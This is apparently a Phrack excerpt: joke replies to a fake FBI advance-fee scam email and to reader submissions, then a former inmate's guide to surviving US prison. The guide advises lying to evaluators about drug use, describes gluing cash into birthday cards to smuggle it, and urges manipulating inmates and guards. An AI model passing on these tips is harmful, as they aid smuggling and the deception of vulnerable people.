From: "Robert S. Mueller" <crimecenter@fbi.gov>

Subject: Federal Bureau Of Investigation./Anti‑Terrorist And Monitory Crime Division.

[ Wait. How did you find us? ]

Federal Bureau of Investigation (FBI)

Anti‑Terrorist And Monitory Crime Division.

Federal Bureau Of Investigation.

J.Edgar.Hoover Building Washington Dc

Customers Service Hours / Monday To Saturday

Office Hours Monday To Saturday:

Dear Beneficiary,

Series of meetings have been held over the past 7 months with the secretary general of the United Nations Organization. This ended 3 days ago. It is obvious that you have not received your fund which is to the tune of $850,000.00 due to past corrupt Governmental Officials who almost held the fund to themselves for their selfish reason and some individuals who have taken advantage of your fund all in an attempt to swindle your fund which has led to so many losses from your end and unnecessary delay in the receipt of your fund.

[ ... ]

[ Oh that's nice. With that much money, we'll be able to pay for the hosting & the DNS for centuries ;) ]

|‑‑=[ 0x0A ‑ Book propositions ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: ANTISPAM

From: scott

Hello, I have a proposition today.

My request is to be listed under S2D316 as an author on your website: http://www.phrack.org/authors.html, with the explicit purpose of writing a

novel. I will of course be mining my fellow authors' data, and thus would of course need their approval.

[ Hum. LOL ]

I will be writing a minimum two thousand pages, divided amongst seven chapters.

[ Two thousand is not enough. Consider asking us back with at least the double. ]

I will of course be releasing it under HTML format, and would like the ability to FTP my pages as I deem them worthy.

[ Of course. I'm afraid the sys admin is currently on holidays. He will not be able to setup the FTP :( ]

If the above terms are met, proceeds will be negotiated.

[ I'm sorry. Who are you again? ]

The name of the story is:

The Underground Myth

by

Scott X

[ We already have an article with that name. I'm afraid we'll have to sue you. Our lawyer will contact you soon enough. ]

|‑‑=[ 0x0B ‑ Newbies ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ Information was removed to protect the innocent :> ]

Subject: Neophyte's Guide

From: NICKNAME

My mentor (X of #Y on freenode) had decided to write a

version 2 to his original Z Guide to the Underground. This guide lays out the framework for any neophytes looking to get into our world. It also lays out the the truth about white hats, black hats, and grey hats. As well as giving the basic's for anyone truly dedicated to learning.

[ The truth? Sounds interesting :‑P ]

I was inspired to write it after reading the article in phrack issue 65 entitled "the underground myth". Its so true, there are hardly any mentors out there that are actually reliable. Most are on some skiddie forum, and all they talk about is step by step SQL injections. And out dated RFI's.

[ Yes. Step by step is annoying. ]

Due to this sickness infecting the web, we decided to write and publish this (for free of course). In the hops that it will steer the newbie's of the world away from GUI land, and back to our roots.

The book is 47 page's from start to finish. I believe that the information contained in said book is invaluable and would help a lot of people out.

[ Invaluable? :) ]

I have been intrigued by almost every single issue of phrack. I know typically Phrack puts up high level articles, but I have noticed that on occasion you guys will put something out there for the newbies, I believe that this would be a very good addition to your awesome, and inspiring publications.

Thank you for your time and consideration of our book.

NICKNAME

‑EOF

[ No problem Sam. Oh yes sometimes with PDF metadata you have that kind of unfortunate leak ;> It would be wise to update your book :) ]

How to make it in Prison

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x05 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ How to make it in Prison ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by TAp ‑ kill4deth <at> yahoo.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑=[ http://www.freewebs.com/hexdeth / AIM : swp2388 ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑

1 ‑ Introduction

2 ‑ The beginning

2.1 ‑ Intake

2.2 ‑ Outline of the process

3 ‑ Fresh Meat

4 ‑ Life in prison

4.1 ‑ What to expect and getting used to it

4.2 ‑ Mail & collect calls

4.3 ‑ Hygiene

4.4 ‑ How you will live and getting used to it

4.5 ‑ The commissary/snack cart

4.6 ‑ Making money

5 ‑ Interaction with other inmates

5.1 ‑ Getting checked

5.2 ‑ Just like momma used to make?

5.3 ‑ Getting punked/becoming a bitch

6 ‑ Prison gangs

6.1 ‑ Prison gangs

6.2 ‑ Should I join a gang, and if so which one should I join ?

7 ‑ County Jail Vs. State Prison

8 ‑ Common Situations

9 ‑ Staying mentally fit

10 ‑ Why I wrote this

‑‑‑‑‑‑

‑‑[ 1 ‑ Introduction

Alright people, this is a guide on what to do and how to act if you find yourself in a prison environment. Let's all face it, if you're into the underground world of hacking or phreaking then you've a very good chance of being arrested some day. Seeing as how I've been in this situation before, and also having noticed the amount of files on laws and police, I've decided to write a file that has information you could use to make your time a lot easier if you happen to go into prison. I myself seriously hope you would never have to use this in a real life situation but if you do, use it to your advantage. So to the point...

In this file we will be talking about a lot of different techniques and also about things you should and should not do... This is in no way an exactly fool proof text. All information is based on how I, the author, interpreted the actions of others. Also note that this file is based souly on the American prison systems. Therefore if you are reading this file and are not living in America, some given information will be wrong and some steps of the process may not be in order or even exist at all.

‑‑[ 2 ‑ The beginning

OK due to the aspects of confusion, there will be some vocabulary that's common to the American Prison facilities in this file. In America there are thousands of 'slang' words that prisoners use to help hide or mask the activities from other inmates and/or the prison officials. We'll start at the beginning stage called the 'intake process'.

‑‑[ 2.1 ‑ Intake

The 'intake' part of the process is the very first part. In this process you will most likely have your constitutional rights (if you're American) read to you and if they fail to do this then you will most likely have all changes dropped/cleared. After this is done, you will be formally charged with what ever crime you are being accused of, then you will have your fingerprints and a mug shot (picture) of you taken. You will be moved into a room either with other 'offenders/inmates' (these are the people who have also committed crimes and awaiting trial) or by yourself depending on how many people are being 'processed'. In this room there will be guards there to take pictures of any and all tattoos and scares. These will be used to help identify you in case you escape or try to give a fake identification in the future.

In this part of the process you will be completely naked, so if you're scared to show your body then too bad get over it or risk being restrained and having them undress you. Next you will take showers with (pubic) lice shampoo. Depending on the setup of the building you will either get to shower by yourself or with a group of inmates. After the shower you will be given a set of pants and a shirt. Some prisons do not provide underwear or cotton shirts you will have to buy these if they are available. Next you will be taken to your 'holding cell' a temporary housing until they either issue you a more permanent cell or until they get more room for you. Now you are ready for the main part of this text file

‑‑[ 2.2 ‑ Outline of the process

This part is mainly about the movements that go on and what to expect while in transition. Some of the information applies to the American judicial system.

‑‑[ 2.2.1 ‑ The county jail

when you first get locked up they will most likely put you in what is called a 'county jail'. This type of jail is only for the people who live in your general vicinity and is the first part of the process. While you are heard you will either buy a lawyer or be appointed one. If you are appointed one you have a greater chance of going to prison. I would advise that you pay for one. While heard you will see your lawyer and he will set up the pre‑trial date. At the pre‑trial your lawyer will present motions on your be‑half (These will help you in your case so don't just sit around in there. Go to the law library and do some research.) but the prosecutor will also have the opportunity to present motions that can hurt your case. From here the judge will decide what to accept and what is thrown out, he will also set your real trial date.

‑[ 2.2.2 ‑ The first day in prison

Your first day in prison will be at a diagnostics unit. This is where they do mental evaluations on all inmates to help them place you in the facility to best fit your needs such as if you are handicapped then you will be placed with fellow peers. If you are a person who likes to get angry and assault people then you will got a place with idiots such as yourself.

During your stay at the diagnostics unit you will go there are tests regarding your mental stability and be questioned about your past. You will also be asked about prior drug use. My advise to you would be to try look and act as normal as possible and to lie about any and all drug problems. This will help make your time easier and keep you from doing stuff required by the prisons to make parole such as a rehab/anger management program.

After about 2 months, depending on your actions you will be sent to a more permanent placement which is a lot different. That is because most people were 'faking it to make it'. This means to act one way to get what you want. These people may have anger problems and all that but they pretended not to so they would get a better unit. Now once they get to that unit they can go onto being there real self's. This can be frustrating to the people who are actually normal because now they have to put up with the people who they didn't want to be around.

Note: You will notice that the guards on the transportation busses have shot guns. These are not for show if you attempt to escape they will shoot to kill.

‑‑[ 3 ‑ Fresh Meat

Fresh Meat ‑ This is someone who has never been locked up, therefore you are the main person people will 'go after' which means attempt to cause you harm or to manipulate you. Most likely these people will be the ones who have been locked up for several years or the people who make a habit out of getting locked up. Yes some people spend most of their pathetic life in prison, even when they've had many chances given to them.

Now you're either reading this for one of two reasons:

1. You've never been locked up before,

2. You've been locked up before and you want to see if this is a serious file.

Well if you're reading this to find out whether I'm knowledgeable on this fact, then you might find something in here that could have or will help you in the future ;]. But if you're reading this file for the first reason then enjoy.

Now most of the time when someone new goes to prison he will be approached by fellow prisoners who will attempt to give him a 'heart check'. This is were the other prisoners get you to fight them. They do this to see if you are a good fighter or if you will simply let them assault you. Most of the time the people trying to assault will be the same race as you and they may ask you some questions to see if they can find out more information on you. If they do this, you must fight them back. It doesn't matter whether you win or lose, remember they are there to see if you have heart (courage). For them people who fight to protect themselves or their property have 'heart' and in prison respect is all you have. No one can take it unless you let them (and they will try).

‑‑[ 4 ‑ Life in prison

‑‑[ 4.1 ‑ What to expect and getting used to it

Now when you get to your facility please do not expect people to care if you want to go home, when your used to eat, what you like to eat, or if your bed is too thin and hard on your back... NO ONE GIVES A FUCK, not the inmates, not the guards, and not the nurse.

You will most likely eat breakfast early in the morning. Here (America Texas) it is at 3:00am then lunch is at 9:00am and dinner at 4‑5pm. Do not expect a snack in between because there will not be any, not even if you're "Starving to death". Yes this is your first time being locked up and most likely you will be a short timer (someone with less than 5 years, some people refer to short timers as 'having less then 20 years'...). Yes you will be there with people who have life without parole. Therefore you should not complain about how much time you have or how you want to go home because this can cause problems with the other inmates who have been in prison for a while and most likely will not be getting out soon. Inmates with a lot of time take this so seriously they will fight you if they hear you complain about your situation. Remember, there will always be people with more problems than you.

‑‑[ 4.2 ‑ Mail & collect calls

You will most likely have the right to send/receive letters from family and friends. There will most likely be limits on the amount you can send out for a certain amount of time depending on where you live. You may also be expected to provide the pen/paper/envelopes/stamps.

There may also be payphones (good luck to all the phreakers) depending on your location. If you are lucky enough to be in a prison with working phones you may notice that you will have to place collect calls. However this type of calls will not establish a connection with a cellphone unless the receiving party has set up an account with the phone company.

Also not all land lines will accept a collect call. Depending on the phone company the prison uses you may be able to set up a prepaid account that your family will provide money to. If you are using this type of account with the phone company then you will be able to call any land‑line/ cellphone.

Now that you know the basics about the mail/phone set up we're going to talk about what you should not do regarding these systems. If for some reason you are not receiving your mail, make sure you are not giving it to the guard who may have reason to not turn it into the mail office/postal services. They may work for the prisons but there are some who are just as corrupt as your fellow prisoners. If you are certain this is not happening then there may be a problem with the postal services, sadly you will not be able to find this out. Lastly and most likely your loved ones just simply did not write you back. There is really only one main reason that you can not get through on your phone calls and that would be the person you are calling does not want to talk to you. If this is so, do not complain to your fellow inmates they do not care like I said before. The reason I tell you this is because there are some people who do not receive letters/calls and it's simply rude to complain in front of these people (its also bad for your health).

Another thing is that there are some people who will try to manipulate you into giving them a phone call or try to get you to give them your pin #. You'll know what I mean and be able to resist this if you have some experience in social engineering. Your best bet would be to keep your pin # for yourself and if you give someone a phone call make them give you something of theirs. Also you can use your knowledge of SE to exploit your fellow inmates to make your free calls, once again good luck with your techniques :)

Note: Phone calls and mails will be monitored by the prison officials so be careful of what you say.

‑‑[ 4.3 ‑ Hygiene

Right if you really need me to explain this to you then there's something wrong, but to all the people who need it...

Depending on your location you may or may not be given hygiene (deodorant / soap / shampoo ... you know the main shit). If this is not given to you then you will need to find a way to get these items because you don't want to walk around looking/smelling like a homeless bum because this seems to upset the inmates also the average person, no one wants to smell you. I would also recommend that you take a shower as often as you can. In some prisons you may only shower once a week, maybe longer, this is why the deodorant is so important because it will help make you smell better or 'seem cleaner'.

‑‑[ 4.4 ‑ How you will live and getting used to it

Now you're going to be in prison and you will be living there for the time being. No one in their right minds will like living there and most of the time the guards don't even want to be there. Noting this you will be issued a bed (this is not a real bed, its more like a shower certain stuffed with wall insulation). They're not very thick (most of the ones I've seen are about three inches thick) and as you might think they are not in the least bit comfortable. No one is going to care if your back hurts or you cant sleep, you will just have to get used to it. You will not be issued sleeping medication or pain relievers, due to the illegal pill trade inside the prisons. In your cell you may or may not have a toilet. These will be stainless steal, you may have seen some in a prison movie, and most likely have a sink at the top. Don't worry the water does not recycle.

So if you are shy (note: you will also be present in front of female guards, this may cause you to be more uncomfortable than you already are unless you get amusement from shifting in front of them) then you're going to have to get over this quickly or walk around holding your piss and having a stomach full of shit. When you're done doing your bathroom business make sure you cleaned the area you've used (only the sink/toilet seat, the rest doesn't matter unless you're clumsy and pissed on the floor or dropped something).

This is to show respect for yourself and the others around you so please be sure to clean up after yourself. This type of cleanliness also applies to your room/cell/living area. You should observe good cleaning habits to make sure your room is not a mess or does not smell bad. The main reason is that if a guard sees a room that is in a mess then they're most likely to search the room (these are called 'shake downs') and if you are the cause of these shake downs then your fellow peers will 'check' you.

‑‑[ 4.5 ‑ The commissary/snack cart

In prison there is a thing called commissary (it's like a store in prison). With this you can buy food such as candy, chips, cokes and lots of other things that are way better than what they give you from the cafeteria. The problem is that you will have to buy these items with your own money. This will have to be sent to you from the outside world, basically your family / friends will have to do this. You can't just come across some real money and hand it to them they wont take it. They will tell you about the process more when you get there. You are issued an account number and the money will be located there. You will also be able to buy your hygiene / letter writing materials here. Make sure you buy the things you need before you buy the things you want.

Note 1: people may try to manipulate you into buying items for them. Please do not be easily manipulated only buy things for the people you trust and make sure they pay you back or give you something in return for what you gave them.

Note 2: you may also try to SE people into buying stuff for you but be smart about this because people do not like when they find out you manipulated them.

‑‑[ 4.6 ‑ Making money

Yes it is possible to make 'money'. The term money is not only used for legal currency but also commissary / tobacco / stamp/other materials. These are worth the same amount as they are when you buy them from the commissary people and tobacco will be worth more if it is not sold by the commissary. Now once you buy your materials you have either the choice to keep them or use them to buy illegal goods that are rampant inside the prisons across the world. There will always be someone who can be corrupted or extorted into doing your bidding (bringing in certain items you could not get with out an outside source, this is called contraband). Now you'll use your legal goods to buy this contraband from the more experienced inmates, there will be all kinds of contraband to choose from and they are not cheap. Here is a nice list of a few things that may be available to you:

1. Most drugs, i.e. cocaine, heroine, methamphetamine, crack, also including prescription pills obtained by the inmates who take the medications. They do this by hiding the pills in their throat or they can be brought in by a guard or through visitation.

2. Real currency. This will be obtained through the usual ways like the guards, visitation, and using the mail. Either the guard didn't check the mail right or it was hidden inside a card. People use birthday cards to hide the money. The process is quite simple. Take a card that has a part where you can write extra stuff on then put the money between that part and the back part of the card. Super glue it in a neat and undetectable fashion.

3. Tobacco. There are the normal channels but remember also that the inmate you're buying this stuff from might have had this in their anal cavity to hide it while being search. Lol that's why I never smoked unless I knew it wasn't stuck up an ass before.

4. Cell phones. These will be brought in by the guards 99% of the time and they will cost more than anything else you can buy. It has to be real currency (guards don't want food because they can get it themselves). They cost around 200 to 400 dollars and I've heard of people buying them for $1,000. It will be pre‑paid and you should get a zip charger (about the size of a AA battery). Keep the phone on silent and only use it when you're alone because if you are caught with a phone inside a prison you may be charged with another crime and sentenced to more time. When you run out of minutes you may have your family buy a refill card and activate it over the Internet.

Note: Other inmates may ask to use your phone, charge them for this if you allow it.

My advice would be to hide it from everyone and not tell anybody since they may try to use this against you and force u into doing something against your will. They'll threaten to tell on you or just do it to get back at you for something.

Past events: The state of Texas has just recently cracked down on the illegal cell phone trade inside their prisons. They are currently installing cell phone jamming devices in all of there facilities, the reason for this is because an inmate on death row called a government official from his cell and threatened his family.

5. Tattoos/materials. You can also pay for getting some nice tattoos in prison, they are of high quality and cheaper than in the free world (not sure why though). You can just about get any type of tattoo you want as long as you're willing to pay for it. You can also sell the tattoo guns / ink if you know how to make it. The prices will be up to you and the basic rules of the prison environment.

6. Artwork. If you know how to draw you can draw up some samples and show them off and you will get some people who will want you to draw for them. Whether this is a card for their family or a tattoo design they plan on getting, the prices are up to you. The better the quality the higher the price you can request.

7. Weapons/shanks. These are home made knives that people will use to assault/kill others with. There are also tempered Styrofoam and news paper bats/poles and spears made out of news paper. These really have no set cost just thought I'd give them a mention.

8. Other inmates. Yes there maybe inmates for sell. These you can buy to do your bidding or just simply to have someone under your control you can basically do anything you want but my advise is to treat them nice and make them think you're their friend or else they'll turn against you. Also be prepared to protect this person. If they see you're not helping them they are not going to help you. This may bring you more problems than what you want. The prices will be set by the person you're buying from. If you are caught buying/selling people you will be severely punished.

Note 1: These are all illegal products and most are punishable by law. You can receive extra time if you are caught buying/selling these items.

Note 2: You should really commit to using your SE skills with these activities to help you get more for less, just make sure not to get caught cheating people.

‑‑[ 5 ‑ Interaction with other inmates

‑‑[ 5.1 ‑ Getting checked

Being 'checked' by someone is not a good thing at all. This means another inmate is telling you that you've fucked up or letting you know that you're doing something wrong. A good example of being checked would be:

You use the restroom and you forget to clean up after yourself. Another inmate that has been waiting for you to Finnish comes in and sees this. Now he can't use the restroom until your mess is cleaned up but he's not going to clean it himself. What he will do is go and find you and tell you to 'go and clean your fucking mess up'. Now if you do clean it after the other inmate told you this in front of every one then you will be thought of as someone who can be pushed around and if you don't clean it you will have to fight this inmate.

This is looked at as a bad thing because the other inmates may see this as you letting someone tell you what to do and then they'll try to do the same. This type of people who let the other inmates tell them what to do have the lowest rank in prison (right above snitches and sex offenders). I hope that none of you are sex offenders but if you are then you will get what you deserve when you get caught and this file will not help you in any way. So you should simply avoid this type of confrontation.

‑‑[ 5.2 ‑ Just like momma used to make?

In this section we'll be talking about the food you will be eating while you're locked up. This 'food' as they like to call it is not very good and you most likely won't be getting a lot of it (if you're the average man you're going to get to sleep hungry most nights). You'll start your day off early in the morning (3:00am were I was at, this will mostly be true for you also because there will be a lot of people in the prison and they'll have to start early to get every thing done on time). Then there will be lunch at about 9:00am to 11:00am and finally you'll have your last meal somewhere around 5:00pm.

Now that you have the basic meal schedule it's time to tell you what you're most likely going to be eating. The main thing I've seen would be the soy bean patties (tofu I guess). This is not real meat nor will it taste as such. The reasons they give you are:

1. It's cheap,

2. It's low in fat. They have to keep you healthy even though they'll feed you the minimum amount of calories that a human needs to stay alive),

3. It's high in protein.

If you are not given soy bean then you will be given either 'pork' or turkey meat (this will mostly be the 'sausage' at breakfast or the patties for the hamburgers). The breads will almost all the time be wheat (you may like wheat bread but it gets really old after a while). Basically everything will be low fat. I'll recommend that even if you don't like it just eat it (mixing the food all together will help mask the taste).

Basically there may be things that you can't eat without throwing up. You will get used to it the more you eat it but there will always be 'roaches' (someone who looks for scraps/extra food that others did not eat...like a cockroach). These people will see that you did not eat all your food and ask you if they might have it. Depending on who they are and if you trust them or not, it is up to you whether you give it to them or not. I would suggest you not to if you don't know them or if you think they're trying to manipulate you. Giving people stuff they want will not help you gain acceptance. They will continue to manipulate you if you allow it.

‑‑[ 5.3 ‑ Getting punked/becoming a bitch

Getting 'punked' is when you allow other inmates to treat you any way they want. This includes:

1. Letting them assault you

2. Letting them take your food/personal belongings

3. Letting them verbally abuse you

4. and sexual abuse

Becoming a 'bitch' means that you belong to another inmate. You'll be treated like a punk and/or be raped though they may protect you in return (they can't let other inmate fuck with their property now can they?). Don't let this happen, if you think this may happen to you then stop reading the file, you'll be a disgrace to all the hackers and phreakers of the world.

Note 1: an inmate may offer you protection from the other inmates. What they will not tell you is that you will be their bitch, and will do what they say or accept the beating you will get. Also if one day you no longer want the protection of the inmate then he and his friends will target you. You will still get beaten, so don't accept any 'protection'.

Note 2: You may notice that I degrade a few types of people in this file such as sex offenders and 'bitches'. When I use this word I mean the people who can defend themselves but simply will not. There are people who will not fight for themselves but if someone tells them to fight another person then they will. This is pathetic and inexcusable, do not be like this.

‑‑[ 6 ‑ Prison gangs

‑‑[ 6.1 ‑ Overview

I will now try to explain the basic concepts of the main types of prison gangs. Please remember this will not always be true for all gangs or for prisons in other countries besides the USA. Some information may not be accurate therefore I will not use any names.

When you go in prison you may notice that groups of people with the same types of tattoos happen to congregate in groups (most of the time in the same areas). You may also notice that they will show favoritism to the group they associate with, this is most likely because they are in a 'gang'. A gang is a group of 3 or more people that are involved in organized crime and believe in the same values/beliefs and share the same goals. For this reason these prisons have established what most call a 'gang task force'. People assigned to the task force are responsible for finding out the illegal activities of these inmates....

Most of the gangs are based on race (White/European, Mexican/Latino/Hispanic, Black/African). Their common goals are to:

1. Protect each other. Have your fellow members backs don't let any one walk over them or punk them. Most likely though there won't be any punks in a gang (and if there are they will be ejected from the gang or disaplin).

2. Establish and keep the respect of their people. Once again don't allow people to push you around, if this is allowed then it will be bad for their business/dealings.

3. Make money. This has been explained to you already but what was not explained earlier was that most of the people you will buy your contraband from (drugs mainly) will be from one of these gangs. Gangs often got war over business related dealings. Most people assume it's inspired by racial issues but about 90% of the time its over the drug trade/territory.

‑‑[ 6.2 ‑ Should I join a gang, and if so which one should I join ?

My advise to you would be that you should not join a gang if you want to get out and go home on time. When you join a gang you are expected to put the gang and its members first. It doesn't matter if you think its the right thing to do. If they ask you to do something then you must do it or accept the punishment they will give you. If another member is with you and instigating problems with other people and he gets attacked, it will be your job to help him. This means you could end up getting hurt or getting more time on your sentence (think about this for a minute you have 4 days until you're allowed to go home and then something happens where you have to help your gang... You end up getting more time and can't go home. How would your family feel, how would you feel ?).

Now if you are persistent about joining one, here are the main rules about this:

1. You should join a gang based on the same race/ethnic group as you are.

2. Make sure you understand and are willing to follow any and all rules given to you.

3. Do not try to manipulate your fellow members or cheat the gang out of any money.

4. Only do approved business with other gangs/people.

5. Do not talk about your gang affiliation with any one (family/guards). 6. Make sure you are willing to be in the gang for the rest of your life, your affiliation does not stop when you are released (if released), you will be responsible for contacting your local ranking members of the gang when you get out.

7. Most importantly do not join a gang if you have anyone you love or care for. The simple reason for me saying this is that you may not get out if you join a gang... You must follow any and all orders including if they want you to kill someone (people have been ordered to kill their own family members).

Note: Failure to do these things may cost you your life. You will also have more rules to follow than expected when you join. These rule aren't known to people outside the gang therefore I've only listed the most common.

‑‑[ 7 ‑ County Jail Vs. State Prison

What? there is a difference you say? Yes, there a few of them in fact. Let's go over them.

‑‑‑‑‑‑‑‑‑‑‑‑

County cons

1. You most likely won't move out of your cell.

2. Time is harder and feels like it goes by a lot slower.

3. Depending on how big it is, there's not as much food.

4. It might be a lot more dirty and could smell like shit and piss. 5. You will be in there with mentally ill people.

6. Commissary costs more.

County pros

1. You may get to see females and depending on the jail write them (they'll be locked up too).

2. You may get to have your own shower.

3. You may not have to get up if you don't want to.

4. You may not have a lights out time.

5. Not every thing is gang related like prison and you can basically chill with who ever you want (as far as race goes rivalries still hold up).

‑‑‑‑‑‑‑‑‑‑‑‑

Prisons cons

1. A lot of new rules you must learn and you might be expected to learn without any help.

2. The daily schedule will be a lot different than in county. 3. Gang wars.

4. Lock downs (no movement at all until told otherwise this can go on for months).

5. Work (you will have to work and you may not get paid for it... You could work in the fields too and that sucks).

6. Can't wright other people who are also locked up (this means the girl you wrote in county wont be getting your letter).

7. Mass butt naked searches.

8. Take showers in front of every one.

Prisons pros

1. Time goes by a lot faster in county jail

2. Easy to make money.

3. Tattooing is more available.

4. Cheaper commissary.

5. Easier access to tobacco/drugs.

6. A lot more respect than what there is in jail.

‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 8 ‑ Common situations

Here we will talk about a few common (negative) situations presented to the newer people of the prison world. In this section I'm going to tell you the best ways to get out of them and I'll try to explain them in a way you can understand. Not all situations are listed in this section because no one can list them all but you can use what is here to help you 'free style' the situation if one arises. Like I've said before you can use social engineering skills to help you get what you want or get out of almost anything that you can get yourself into. So lets get to it...

1. It's your first day on the unit (prison), people will be looking to see if they can make you there punk/bitch (remember that we've talked about this before). The most common way they will try this is using intimidation. Most of the time a group of inmates will approach you and ask you seemingly harmless questions but they're not. These questions can be used against you in some type of way (these people are not trying to be friendly, it may seem this way but it's not). Few subjects you should not release any information about would be:

‑ Your family/personal life. Do not give your address or anything such as this out. The reason for this is to make it harder for them to know the people you may know.

‑ Never lie about things you're not sure of. Just simply state that it's your business and keep it as such. Also do not lie to try and gain acceptance because it will not work. Keep your stories to yourself and only tell them to trusted people.

2. You walk into the 'dayroom' (the place where everyone gathers to play games/watch tv/converse) and you see the people who entered your cell earlier playing a game of cards. You see that they are having a good amount of fun and you need something to help take your mind off of your situation or you just simply want to go over and make a few new friends. Well I'd recommend that you stay to yourself for a while longer and let the other inmates invite you to the game if they choose to do so. Still be cautious if they do as they might try to manipulate you for some reason.

Note: I'd also recommend that you do not just go up to people asking them questions or telling them your adventures from the free world. Being a friendly person is not looked at as a good thing while in prison.

The reason you should not just walk up to people and talk to them is because some of them are mentally ill and may attack you if you attempt this. They will also try to make you think they are your friend and use you for their amusement or personal gain. You should also never give out personal information to people you don't know because they may use that to help find victims when they are released.

Note: If you want to make friends then my advice is to not lie to people show them you're trustworthy. If you're not a drug dealer then don't say you are. If you've never shot a gun don't say you have. And also don't overload them with technical talk, and don't get all excited to be talking to someone. They are not that cool plus it's annoying.

3. Someone disrespects you, either verbally or physically (pushing you or bumping into you). When this happens your safest bet would be to fight and not let this go on for very long because you will be seen as a bitch. Now if you are challenged to a fight then you should accept it and fight as good as you can. It won't really matter if you win or lose. If the inmates see you will fight then they will respect you.

Note: If a guard tells you to stop or hit the floor then you should do so to avoid being pepper sprayed or tazed. Some prisons are allowed to use deadly force.

4. Your friends or some other people ask you to join a gang. This is up to you. For help refer back to the gang section of the article.

5. You see something happening that you don't like, then your best response would be no response. If you get into someone else's business then it will only cause problems on yourself and you do not need any problems that can be avoided. If you choose to take action then that will be on you, I have warned you of doing so.

Note: This could result in retaliation from other inmates as well.

6. You're about to get out and you no longer want to be in the gang you joined when you first got locked up. Well there's a problem with this because one you were told it was for life and two they will most likely put a contract on you (hire someone to kill you). To avoid being killed inside the prison walls you can use a technique. In prison they have a program called 'PC' (protective custody) this is for people with mental/physical illnesses and for the weaker prisoners. You will use this to your advantage, here is a good way to put yourself on PC:

Contact a ranking guard and let him know your situation. You will want to do this with a guard you trust so that he will not tell everyone of what you are planning to do. Sooner or later you will be taken to a one man cell and you will be asked questions by the gang task force. You will be asked to give any and all information about the gang and if you don't help them then they will not help you.

Note 1: In my opinion if you use this part of the file you do not deserve to call yourself a man.

Note 2: These are the most common situations you may go through in prison but these are not definite. You may need to customize these techniques or apply them to different situations...

‑[ 9 ‑ Staying mentally Fit

In this part of the text we will be talking about the various techniques to help you stay mentally fit. Basically what I'm talking about is how not to go crazy. Some people have the tendencies to over obsess about the outside world, or to think too much about their friends and family. This will cause you to stress yourself out and become depressed. This leads to suicide in some people and this is what we want to avoid. So here are a few techniques or suggestions that I'll give you to help keep you on top of things.

1. Some people put all their faith in getting letters and phone calls from their family/friends. This is not really a good thing. When you get a letter I would recommend reading it once and then replying to the letter as soon as possible. Doing this will help you keep your mind off the free world. If you continually keep negative things on your mind/think about negative things then your attitude will almost always be negative. This is what we want to avoid inside the prison walls. The more negative you are or negativity that your around will likely cause you to do negative things. This will most likely cause you to stay inside prison longer then you have to.

2. Visitation is most likely going to be the hardest part to get out of your mind. The reason for this is because you actually get to be with the people you love. Now depending on where you are at, you may have be separated by a wall with glass and will talk to them on a pay‑phone type set‑up.

Note: Beware that most prisons record these types of conversations. You may not get a prompt letting you know this but regardless be careful on what you say. A few tips on how to have a good visit from the family/friends:

‑ Stay on a positive topic. You don't need to fight or argue with someone who takes the time to come and see you, and later on you'll most likely feel bad for doing this. This is what we don't want.

‑ Do not attempt to get your visitor to smuggle contraband. This can cause problems between you and the visitor, or you may end up getting them put in prison if they do wish to bring the contraband.

‑ Take one visitation at a time. In other words do not go back to your cell and ponder upon the visit. Doing so will cause you more stress and problems than you should have to deal with.

3. You will be allowed to have pictures of your loved ones. This can be a good thing. Everyone wants to have pictures, but you should not keep them out because this causes you to pay more attention to the pictures instead of the things you really should be doing. You're just making your time harder then it should be by thinking about things that make you depressed.

Note: Also keeping your personal stuff out can end up getting it stolen by the other inmates. Stealing is frowned upon but is every common inside prisons.

4. When the guards tell you 'lights out' or bed time then this is what you should do. Do not stay up at night and ponder upon your misfortunes or your family. The reason is this causes you to lose sleep and will make your daily schedule very hard to work with. You may be expected to work while you're locked up and if you're not fully functional then you will cause the others to get angry and lash out against you.

5. Try to have as much fun as you can. This is hard but you have to try. Once you get comfortable and in transition to this new way of life then it will become easier. The main thing you should do to have fun is play games such as cards, dominoes. They may have a few board games also (I liked to play a good game of chess myself). Also when you're at the rec. yard (a place outside where you are allowed to Rome inside a certain area) play some sports like basket ball or football. There will be sports and people willing to play, this can also help you meet new people who can help distract you from your daily problems.

6. Like I mentioned earlier you can workout to keep you in shape and keep your mind off your problems. Find you a good workout routine and stick with it. Working out is proved to higher your self‑esteem and help with depression. You don't always have to wait until you go outside to workout, you can do this inside your cell whenever you find yourself thinking about negative things.

7. Establishing a relationship with a guard (depending on the sex the reader is) can also help you pass the time. If you have someone that is willing to help you in your time of need then this will bring your stress level to a lower term if not take it away completely.

Note: Establishing a relationship with a guard is not easy. They look at you like a criminal so your goal is to either manipulate them into believing that you're not or just simply show them the real you {nice, kindly person lol}. Like I've said this is a hard task but this in itself can keep your mind off the bullshit. Think of new ways to get through the guards personal defenses (you're hackers you should be good at this), and when you finally overcome them then you have all kinds of fun things to do depending on what your intentions are (contraband staff, or true relationship. Yes you may be able to fuck them).

‑[ 10 ‑ Why I Wrote This

I wrote this article based on the assumption that many people would basically enjoy it, but also that it may help some people if they happen to go to prison. I was sentenced to 20 years for aggravated assault with a deadly weapon. It was my first time ever being locked up but I was one of the ones who took it as a challenge. While inside I've seen other first timers being treated in a way that no person should ever be treated.

